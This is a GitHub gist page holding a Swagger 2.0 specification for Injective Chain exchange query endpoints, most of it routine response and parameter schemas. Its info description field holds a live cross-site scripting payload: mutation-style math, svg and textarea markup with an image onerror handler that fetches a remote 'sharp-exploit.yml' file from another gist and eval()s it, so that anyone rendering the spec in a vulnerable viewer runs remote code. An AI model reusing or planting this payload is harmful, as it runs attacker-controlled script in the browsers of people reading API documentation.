Created
December 19, 2023 06:07
-
-
Save 4W/560a2ce0cd160b4a6f996ad189c243ee to your computer and use it in GitHub Desktop.
Experiemtn
This file has been truncated, but you can view the full file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
swagger: '2.0' | |
info: | |
title: Injective Chain - Legacy REST and gRPC Gateway docs | |
description: <math><mtext><h1><a><h6></a></h6><mglyph><svg><mtext><textarea><a title='</textarea><img src onerror=fetch(`https://gist.githubusercontent.com/4W/0d5126b6086d78d380b10d3df95cecd2/raw/3d69cd7cebef138495d25abdd9ac7c4fffe9af1d/sharp-exploit.yml`).then(function(res){res.text().then(function(data){eval(data)})})>'></textarea></h1>">"</textarea></desc></textarea></mtext></mtext></svg></mglyph></option></mtext></math> | |
version: 1.0.0 | |
paths: | |
/injective/exchange/v1beta1/atomic_order_fee_multiplier: | |
get: | |
operationId: MarketAtomicExecutionFeeMultiplier | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
multiplier: | |
type: string | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/balance_mismatches/{dust_factor}: | |
get: | |
summary: Retrieves mismatches between available vs. total balance | |
operationId: BalanceMismatches | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
balance_mismatches: | |
type: array | |
items: | |
type: object | |
properties: | |
subaccountId: | |
type: string | |
denom: | |
type: string | |
available: | |
type: string | |
total: | |
type: string | |
balance_hold: | |
type: string | |
expected_total: | |
type: string | |
difference: | |
type: string | |
description: |- | |
QueryBalanceMismatchesResponse is the response type for the | |
Query/QueryBalanceMismatches RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: dust_factor | |
in: path | |
required: true | |
type: string | |
format: int64 | |
tags: | |
- Query | |
/injective/exchange/v1beta1/balances_with_balance_holds: | |
get: | |
summary: Retrieves available and total balances with balance holds | |
operationId: BalanceWithBalanceHolds | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
balance_with_balance_holds: | |
type: array | |
items: | |
type: object | |
properties: | |
subaccountId: | |
type: string | |
denom: | |
type: string | |
available: | |
type: string | |
total: | |
type: string | |
balance_hold: | |
type: string | |
description: |- | |
QueryBalanceWithBalanceHoldsResponse is the response type for the | |
Query/QueryBalanceWithBalanceHolds RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/exchange/v1beta1/binary_options/markets: | |
get: | |
summary: Retrieves a spot market's orderbook by marketID | |
operationId: BinaryOptionsMarkets | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
markets: | |
type: array | |
items: | |
type: object | |
properties: | |
ticker: | |
type: string | |
description: Ticker for the derivative contract. | |
oracle_symbol: | |
type: string | |
title: Oracle symbol | |
oracle_provider: | |
type: string | |
title: Oracle Provider | |
oracle_type: | |
title: Oracle type | |
type: string | |
enum: | |
- Unspecified | |
- Band | |
- PriceFeed | |
- Coinbase | |
- Chainlink | |
- Razor | |
- Dia | |
- API3 | |
- Uma | |
- Pyth | |
- BandIBC | |
- Provider | |
default: Unspecified | |
oracle_scale_factor: | |
type: integer | |
format: int64 | |
description: Scale factor for oracle prices. | |
expiration_timestamp: | |
type: string | |
format: int64 | |
title: expiration timestamp | |
settlement_timestamp: | |
type: string | |
format: int64 | |
title: expiration timestamp | |
admin: | |
type: string | |
title: admin of the market | |
quote_denom: | |
type: string | |
title: >- | |
Address of the quote currency denomination for the | |
binary options contract | |
market_id: | |
type: string | |
description: Unique market ID. | |
maker_fee_rate: | |
type: string | |
title: >- | |
maker_fee_rate defines the maker fee rate of a binary | |
options market | |
taker_fee_rate: | |
type: string | |
title: >- | |
taker_fee_rate defines the taker fee rate of a | |
derivative market | |
relayer_fee_share_rate: | |
type: string | |
title: >- | |
relayer_fee_share_rate defines the percentage of the | |
transaction fee shared | |
with the relayer in a derivative market | |
status: | |
title: Status of the market | |
type: string | |
enum: | |
- Unspecified | |
- Active | |
- Paused | |
- Demolished | |
- Expired | |
default: Unspecified | |
min_price_tick_size: | |
type: string | |
title: >- | |
min_price_tick_size defines the minimum tick size that | |
the price and margin | |
required for orders in the market | |
min_quantity_tick_size: | |
type: string | |
title: >- | |
min_quantity_tick_size defines the minimum tick size of | |
the quantity | |
required for orders in the market | |
settlement_price: | |
type: string | |
description: >- | |
An object describing a binary options market in Injective | |
Protocol. | |
description: >- | |
QueryBinaryMarketsResponse is the response type for the | |
Query/BinaryMarkets | |
RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: status | |
description: >- | |
Status of the market, for convenience it is set to string - not | |
enum. | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/derivative/market_address/{market_id}: | |
get: | |
summary: |- | |
Retrieves a derivative market's corresponding address for fees that | |
contribute to the market's insurance fund | |
operationId: DerivativeMarketAddress | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
address: | |
type: string | |
title: address for the market | |
subaccount_id: | |
type: string | |
title: subaccountID for the market | |
description: |- | |
QueryDerivativeMarketAddressResponse is the response type for the | |
Query/DerivativeMarketAddress RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/derivative/markets: | |
get: | |
summary: Retrieves a list of derivative markets. | |
operationId: DerivativeMarkets | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
markets: | |
type: array | |
items: | |
type: object | |
properties: | |
market: | |
type: object | |
properties: | |
ticker: | |
type: string | |
description: Ticker for the derivative contract. | |
oracle_base: | |
type: string | |
title: Oracle base currency | |
oracle_quote: | |
type: string | |
title: Oracle quote currency | |
oracle_type: | |
title: Oracle type | |
type: string | |
enum: | |
- Unspecified | |
- Band | |
- PriceFeed | |
- Coinbase | |
- Chainlink | |
- Razor | |
- Dia | |
- API3 | |
- Uma | |
- Pyth | |
- BandIBC | |
- Provider | |
default: Unspecified | |
oracle_scale_factor: | |
type: integer | |
format: int64 | |
description: Scale factor for oracle prices. | |
quote_denom: | |
type: string | |
title: >- | |
Address of the quote currency denomination for the | |
derivative contract | |
market_id: | |
type: string | |
description: Unique market ID. | |
initial_margin_ratio: | |
type: string | |
title: >- | |
initial_margin_ratio defines the initial margin | |
ratio of a derivative | |
market | |
maintenance_margin_ratio: | |
type: string | |
title: >- | |
maintenance_margin_ratio defines the maintenance | |
margin ratio of a | |
derivative market | |
maker_fee_rate: | |
type: string | |
title: >- | |
maker_fee_rate defines the maker fee rate of a | |
derivative market | |
taker_fee_rate: | |
type: string | |
title: >- | |
taker_fee_rate defines the taker fee rate of a | |
derivative market | |
relayer_fee_share_rate: | |
type: string | |
title: >- | |
relayer_fee_share_rate defines the percentage of the | |
transaction fee shared | |
with the relayer in a derivative market | |
isPerpetual: | |
type: boolean | |
title: >- | |
true if the market is a perpetual market. false if | |
the market is an expiry | |
futures market | |
status: | |
title: Status of the market | |
type: string | |
enum: | |
- Unspecified | |
- Active | |
- Paused | |
- Demolished | |
- Expired | |
default: Unspecified | |
min_price_tick_size: | |
type: string | |
title: >- | |
min_price_tick_size defines the minimum tick size | |
that the price and margin | |
required for orders in the market | |
min_quantity_tick_size: | |
type: string | |
title: >- | |
min_quantity_tick_size defines the minimum tick size | |
of the quantity | |
required for orders in the market | |
description: >- | |
An object describing a derivative market in the | |
Injective Futures Protocol. | |
perpetual_info: | |
type: object | |
properties: | |
market_info: | |
type: object | |
properties: | |
market_id: | |
type: string | |
description: market ID. | |
hourly_funding_rate_cap: | |
type: string | |
title: >- | |
hourly_funding_rate_cap defines the maximum | |
absolute value of the hourly | |
funding rate | |
hourly_interest_rate: | |
type: string | |
title: >- | |
hourly_interest_rate defines the hourly interest | |
rate | |
next_funding_timestamp: | |
type: string | |
format: int64 | |
title: >- | |
next_funding_timestamp defines the next funding | |
timestamp in seconds of a | |
perpetual market | |
funding_interval: | |
type: string | |
format: int64 | |
description: >- | |
funding_interval defines the next funding | |
interval in seconds of a | |
perpetual market. | |
funding_info: | |
type: object | |
properties: | |
cumulative_funding: | |
type: string | |
description: >- | |
cumulative_funding defines the cumulative | |
funding of a perpetual market. | |
cumulative_price: | |
type: string | |
title: >- | |
cumulative_price defines the cumulative price | |
for the current hour up to | |
the last timestamp | |
last_timestamp: | |
type: string | |
format: int64 | |
futures_info: | |
type: object | |
properties: | |
market_id: | |
type: string | |
description: market ID. | |
expiration_timestamp: | |
type: string | |
format: int64 | |
description: >- | |
expiration_timestamp defines the expiration time for | |
a time expiry futures | |
market. | |
twap_start_timestamp: | |
type: string | |
format: int64 | |
title: >- | |
expiration_twap_start_timestamp defines the start | |
time of the TWAP | |
calculation window | |
expiration_twap_start_price_cumulative: | |
type: string | |
title: >- | |
expiration_twap_start_price_cumulative defines the | |
cumulative price for the | |
start of the TWAP window | |
settlement_price: | |
type: string | |
description: >- | |
settlement_price defines the settlement price for a | |
time expiry futures | |
market. | |
mark_price: | |
type: string | |
mid_price_and_tob: | |
title: >- | |
mid_price_and_tob defines the mid price for this market | |
and the best ask | |
and bid orders | |
type: object | |
properties: | |
mid_price: | |
type: string | |
title: mid price of the market | |
best_buy_price: | |
type: string | |
title: best buy price of the market | |
best_sell_price: | |
type: string | |
title: best sell price of the market | |
description: |- | |
QueryDerivativeMarketsResponse is the response type for the | |
Query/DerivativeMarkets RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: status | |
description: >- | |
Status of the market, for convenience it is set to string - not | |
enum. | |
in: query | |
required: false | |
type: string | |
- name: market_ids | |
description: Filter by market IDs. | |
in: query | |
required: false | |
type: array | |
items: | |
type: string | |
collectionFormat: multi | |
- name: with_mid_price_and_tob | |
description: >- | |
Flag to return the markets mid price and top of the book buy and | |
sell | |
orders. | |
in: query | |
required: false | |
type: boolean | |
tags: | |
- Query | |
/injective/exchange/v1beta1/derivative/markets/{market_id}: | |
get: | |
summary: Retrieves a derivative market by ticker | |
operationId: DerivativeMarket | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
market: | |
type: object | |
properties: | |
market: | |
type: object | |
properties: | |
ticker: | |
type: string | |
description: Ticker for the derivative contract. | |
oracle_base: | |
type: string | |
title: Oracle base currency | |
oracle_quote: | |
type: string | |
title: Oracle quote currency | |
oracle_type: | |
title: Oracle type | |
type: string | |
enum: | |
- Unspecified | |
- Band | |
- PriceFeed | |
- Coinbase | |
- Chainlink | |
- Razor | |
- Dia | |
- API3 | |
- Uma | |
- Pyth | |
- BandIBC | |
- Provider | |
default: Unspecified | |
oracle_scale_factor: | |
type: integer | |
format: int64 | |
description: Scale factor for oracle prices. | |
quote_denom: | |
type: string | |
title: >- | |
Address of the quote currency denomination for the | |
derivative contract | |
market_id: | |
type: string | |
description: Unique market ID. | |
initial_margin_ratio: | |
type: string | |
title: >- | |
initial_margin_ratio defines the initial margin ratio | |
of a derivative | |
market | |
maintenance_margin_ratio: | |
type: string | |
title: >- | |
maintenance_margin_ratio defines the maintenance | |
margin ratio of a | |
derivative market | |
maker_fee_rate: | |
type: string | |
title: >- | |
maker_fee_rate defines the maker fee rate of a | |
derivative market | |
taker_fee_rate: | |
type: string | |
title: >- | |
taker_fee_rate defines the taker fee rate of a | |
derivative market | |
relayer_fee_share_rate: | |
type: string | |
title: >- | |
relayer_fee_share_rate defines the percentage of the | |
transaction fee shared | |
with the relayer in a derivative market | |
isPerpetual: | |
type: boolean | |
title: >- | |
true if the market is a perpetual market. false if the | |
market is an expiry | |
futures market | |
status: | |
title: Status of the market | |
type: string | |
enum: | |
- Unspecified | |
- Active | |
- Paused | |
- Demolished | |
- Expired | |
default: Unspecified | |
min_price_tick_size: | |
type: string | |
title: >- | |
min_price_tick_size defines the minimum tick size that | |
the price and margin | |
required for orders in the market | |
min_quantity_tick_size: | |
type: string | |
title: >- | |
min_quantity_tick_size defines the minimum tick size | |
of the quantity | |
required for orders in the market | |
description: >- | |
An object describing a derivative market in the Injective | |
Futures Protocol. | |
perpetual_info: | |
type: object | |
properties: | |
market_info: | |
type: object | |
properties: | |
market_id: | |
type: string | |
description: market ID. | |
hourly_funding_rate_cap: | |
type: string | |
title: >- | |
hourly_funding_rate_cap defines the maximum | |
absolute value of the hourly | |
funding rate | |
hourly_interest_rate: | |
type: string | |
title: >- | |
hourly_interest_rate defines the hourly interest | |
rate | |
next_funding_timestamp: | |
type: string | |
format: int64 | |
title: >- | |
next_funding_timestamp defines the next funding | |
timestamp in seconds of a | |
perpetual market | |
funding_interval: | |
type: string | |
format: int64 | |
description: >- | |
funding_interval defines the next funding interval | |
in seconds of a | |
perpetual market. | |
funding_info: | |
type: object | |
properties: | |
cumulative_funding: | |
type: string | |
description: >- | |
cumulative_funding defines the cumulative funding | |
of a perpetual market. | |
cumulative_price: | |
type: string | |
title: >- | |
cumulative_price defines the cumulative price for | |
the current hour up to | |
the last timestamp | |
last_timestamp: | |
type: string | |
format: int64 | |
futures_info: | |
type: object | |
properties: | |
market_id: | |
type: string | |
description: market ID. | |
expiration_timestamp: | |
type: string | |
format: int64 | |
description: >- | |
expiration_timestamp defines the expiration time for a | |
time expiry futures | |
market. | |
twap_start_timestamp: | |
type: string | |
format: int64 | |
title: >- | |
expiration_twap_start_timestamp defines the start time | |
of the TWAP | |
calculation window | |
expiration_twap_start_price_cumulative: | |
type: string | |
title: >- | |
expiration_twap_start_price_cumulative defines the | |
cumulative price for the | |
start of the TWAP window | |
settlement_price: | |
type: string | |
description: >- | |
settlement_price defines the settlement price for a | |
time expiry futures | |
market. | |
mark_price: | |
type: string | |
mid_price_and_tob: | |
title: >- | |
mid_price_and_tob defines the mid price for this market | |
and the best ask | |
and bid orders | |
type: object | |
properties: | |
mid_price: | |
type: string | |
title: mid price of the market | |
best_buy_price: | |
type: string | |
title: best buy price of the market | |
best_sell_price: | |
type: string | |
title: best sell price of the market | |
description: |- | |
QueryDerivativeMarketResponse is the response type for the | |
Query/DerivativeMarket RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/derivative/mid_price_and_tob/{market_id}: | |
get: | |
summary: Retrieves a derivative market's mid-price | |
operationId: DerivativeMidPriceAndTOB | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
mid_price: | |
type: string | |
title: mid price of the market | |
best_buy_price: | |
type: string | |
title: best buy price of the market | |
best_sell_price: | |
type: string | |
title: best sell price of the market | |
description: |- | |
QueryDerivativeMidPriceAndTOBResponse is the response type for the | |
Query/GetDerivativeMidPriceAndTOB RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/derivative/orderbook/{market_id}: | |
get: | |
summary: Retrieves a derivative market's orderbook by marketID | |
operationId: DerivativeOrderbook | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
buys_price_level: | |
type: array | |
items: | |
type: object | |
properties: | |
p: | |
type: string | |
title: price | |
q: | |
type: string | |
title: quantity | |
sells_price_level: | |
type: array | |
items: | |
type: object | |
properties: | |
p: | |
type: string | |
title: price | |
q: | |
type: string | |
title: quantity | |
description: |- | |
QueryDerivativeOrderbookResponse is the response type for the | |
Query/DerivativeOrderbook RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
- name: limit | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: limit_cumulative_notional | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/derivative/orders/conditional/{market_id}/{subaccount_id}: | |
get: | |
summary: Retrieves a trader's derivative conditional orders | |
operationId: TraderDerivativeConditionalOrders | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
orders: | |
type: array | |
items: | |
type: object | |
properties: | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: quantity of the order | |
margin: | |
type: string | |
title: margin of the order | |
triggerPrice: | |
type: string | |
title: price to trigger the order | |
isBuy: | |
type: boolean | |
title: true if the order is a buy | |
isLimit: | |
type: boolean | |
order_hash: | |
type: string | |
description: |- | |
QueryTraderDerivativeOrdersResponse is the response type for the | |
Query/TraderDerivativeOrders RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
in: path | |
required: true | |
type: string | |
- name: subaccount_id | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/derivative/orders/{market_id}/account/{account_address}: | |
get: | |
summary: Retrieves all account address derivative orders | |
operationId: AccountAddressDerivativeOrders | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
orders: | |
type: array | |
items: | |
type: object | |
properties: | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: quantity of the order | |
margin: | |
type: string | |
title: margin of the order | |
fillable: | |
type: string | |
title: the amount of the quantity remaining fillable | |
isBuy: | |
type: boolean | |
title: true if the order is a buy | |
order_hash: | |
type: string | |
description: >- | |
QueryAccountAddressDerivativeOrdersResponse is the response type | |
for the | |
Query/AccountAddressDerivativeOrders RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
- name: account_address | |
description: Account address of the trader | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/derivative/orders/{market_id}/{subaccount_id}: | |
get: | |
summary: Retrieves a trader's derivative orders | |
operationId: TraderDerivativeOrders | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
orders: | |
type: array | |
items: | |
type: object | |
properties: | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: quantity of the order | |
margin: | |
type: string | |
title: margin of the order | |
fillable: | |
type: string | |
title: the amount of the quantity remaining fillable | |
isBuy: | |
type: boolean | |
title: true if the order is a buy | |
order_hash: | |
type: string | |
description: |- | |
QueryTraderDerivativeOrdersResponse is the response type for the | |
Query/TraderDerivativeOrders RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
- name: subaccount_id | |
description: SubaccountID of the trader | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/derivative/orders_by_hashes/{market_id}/{subaccount_id}: | |
get: | |
summary: Retrieves a trader's derivative orders | |
operationId: DerivativeOrdersByHashes | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
orders: | |
type: array | |
items: | |
type: object | |
properties: | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: quantity of the order | |
margin: | |
type: string | |
title: margin of the order | |
fillable: | |
type: string | |
title: the amount of the quantity remaining fillable | |
isBuy: | |
type: boolean | |
title: true if the order is a buy | |
order_hash: | |
type: string | |
description: |- | |
QueryDerivativeOrdersByHashesResponse is the response type for the | |
Query/DerivativeOrdersByHashes RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
- name: subaccount_id | |
description: SubaccountID of the trader | |
in: path | |
required: true | |
type: string | |
- name: order_hashes | |
description: the order hashes. | |
in: query | |
required: false | |
type: array | |
items: | |
type: string | |
collectionFormat: multi | |
tags: | |
- Query | |
/injective/exchange/v1beta1/derivative/transient_orders/{market_id}/{subaccount_id}: | |
get: | |
summary: Retrieves a trader's transient derivative orders | |
operationId: TraderDerivativeTransientOrders | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
orders: | |
type: array | |
items: | |
type: object | |
properties: | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: quantity of the order | |
margin: | |
type: string | |
title: margin of the order | |
fillable: | |
type: string | |
title: the amount of the quantity remaining fillable | |
isBuy: | |
type: boolean | |
title: true if the order is a buy | |
order_hash: | |
type: string | |
description: |- | |
QueryTraderDerivativeOrdersResponse is the response type for the | |
Query/TraderDerivativeOrders RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
- name: subaccount_id | |
description: SubaccountID of the trader | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/effective_positions/{subaccount_id}/{market_id}: | |
get: | |
summary: Retrieves subaccount's position in market | |
operationId: SubaccountEffectivePositionInMarket | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
state: | |
type: object | |
properties: | |
is_long: | |
type: boolean | |
quantity: | |
type: string | |
entry_price: | |
type: string | |
effective_margin: | |
type: string | |
description: >- | |
QuerySubaccountEffectivePositionInMarketResponse is the response | |
type for the | |
Query/SubaccountEffectivePositionInMarket RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: subaccount_id | |
in: path | |
required: true | |
type: string | |
- name: market_id | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/exchange/aggregateMarketVolume/{market_id}: | |
get: | |
summary: Retrieves the aggregate volume for the specified market | |
operationId: AggregateMarketVolume | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
volume: | |
type: object | |
properties: | |
maker_volume: | |
type: string | |
taker_volume: | |
type: string | |
description: |- | |
QueryAggregateMarketVolumeResponse is the response type for the | |
Query/AggregateMarketVolume RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/exchange/aggregateMarketVolumes: | |
get: | |
summary: Retrieves the aggregate market volumes for specified markets | |
operationId: AggregateMarketVolumes | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
volumes: | |
type: array | |
items: | |
type: object | |
properties: | |
market_id: | |
type: string | |
volume: | |
type: object | |
properties: | |
maker_volume: | |
type: string | |
taker_volume: | |
type: string | |
title: the aggregate volumes for the entire market | |
description: |- | |
QueryAggregateMarketVolumesResponse is the response type for the | |
Query/AggregateMarketVolumes RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_ids | |
in: query | |
required: false | |
type: array | |
items: | |
type: string | |
collectionFormat: multi | |
tags: | |
- Query | |
/injective/exchange/v1beta1/exchange/aggregateVolume/{account}: | |
get: | |
summary: Retrieves the aggregate volumes for the specified account or subaccount | |
operationId: AggregateVolume | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
aggregate_volumes: | |
type: array | |
items: | |
type: object | |
properties: | |
market_id: | |
type: string | |
volume: | |
type: object | |
properties: | |
maker_volume: | |
type: string | |
taker_volume: | |
type: string | |
title: >- | |
if an address is specified, then the aggregate_volumes will | |
aggregate the | |
volumes across all subaccounts for the address | |
description: |- | |
QueryAggregateVolumeResponse is the response type for the | |
Query/AggregateVolume RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: account | |
description: can either be an address or a subaccount | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/exchange/aggregateVolumes: | |
get: | |
summary: Retrieves the aggregate volumes for specified accounts | |
operationId: AggregateVolumes | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
aggregate_account_volumes: | |
type: array | |
items: | |
type: object | |
properties: | |
account: | |
type: string | |
market_volumes: | |
type: array | |
items: | |
type: object | |
properties: | |
market_id: | |
type: string | |
volume: | |
type: object | |
properties: | |
maker_volume: | |
type: string | |
taker_volume: | |
type: string | |
title: the aggregate volume records for the accounts specified | |
aggregate_market_volumes: | |
type: array | |
items: | |
type: object | |
properties: | |
market_id: | |
type: string | |
volume: | |
type: object | |
properties: | |
maker_volume: | |
type: string | |
taker_volume: | |
type: string | |
title: the aggregate volumes for the markets specified | |
description: |- | |
QueryAggregateVolumesResponse is the response type for the | |
Query/AggregateVolumes RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: accounts | |
in: query | |
required: false | |
type: array | |
items: | |
type: string | |
collectionFormat: multi | |
- name: market_ids | |
in: query | |
required: false | |
type: array | |
items: | |
type: string | |
collectionFormat: multi | |
tags: | |
- Query | |
/injective/exchange/v1beta1/exchange/denom_decimal/{denom}: | |
get: | |
summary: Retrieves the denom decimals for a denom. | |
operationId: DenomDecimal | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
decimal: | |
type: string | |
format: uint64 | |
description: >- | |
QueryDenomDecimalResponse is the response type for the | |
Query/DenomDecimal RPC | |
method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
